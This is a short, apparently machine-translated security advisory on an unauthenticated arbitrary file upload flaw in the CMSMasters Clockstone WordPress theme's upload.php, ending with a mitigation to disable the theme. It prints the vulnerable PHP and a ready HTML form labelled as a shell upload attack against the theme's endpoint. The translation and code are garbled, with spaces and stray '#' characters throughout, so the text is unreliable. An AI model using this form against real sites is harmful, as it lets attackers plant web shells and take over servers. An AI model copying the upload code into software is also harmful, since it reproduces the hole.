Multiple WordPress CMSMasters theme 'upload. php' Arbitrary File upload Vulnerability and repair

Vulnerability version: cmsmasters Clockstone is the ultimate topic of Wordpress. A single topic integrates many functions. WordPress Clockstone and other themes have the File Upload Vulnerability. This vulnerability exists because the problem Code does not perform authentication on logged-on users. Attackers can upload arbitrary files to the victim's site to gain access to the site. Code with vulnerabilities in the topic: ######################################## #######################<? Php # if ($ _ POST ['url']) {$ uploaddir =$ _ POST ['url'];} # $ first_filename = $ _ FILES ['uploadfile'] ['name']; # $ filename = md5 ($ first_filename); ##$ ext = substr ($ first_filename, 1 + strrpos ($ first_filename ,'. '); ##$ file = $ uploaddir. basename ($ filename. '. '. $ ext); ## if (move_uploaded_file ($ _ FILES ['uploadfile'] ['tmp _ name'], $ file) {# echo basename ($ filename. '. '. $ ext) ;#} else {# echo 'error ';#}##?> Test: ######################################## ####################### Shell upload attack: <br/> # <form enctype = "multipart/form-data" action =" http://www.examplesite.com/wp-content/themes/clockstone/theme/functions/upload.php "Method =" post ">#< input type =" text "name =" url "value = ". /"/> <br/> # Please choose a file: <input name = "uploadfile" type = "file"/> <br/> # <input type = "submit" value = "Upload"/>#</form> ## ######################################## #################### temporary solution: if you cannot install or upgrade patches immediately, we recommend that you take the following measures to reduce the threat: * disable the CMSMasters theme vendor patch: cmsmasters ---------- currently, the vendor has not provided patches or upgrade programs, we recommend that users who use this software follow the vendor's homepage to obtain the latest version: http://themeforest.net/item/clockstone-ultimate-wordpress-theme/306607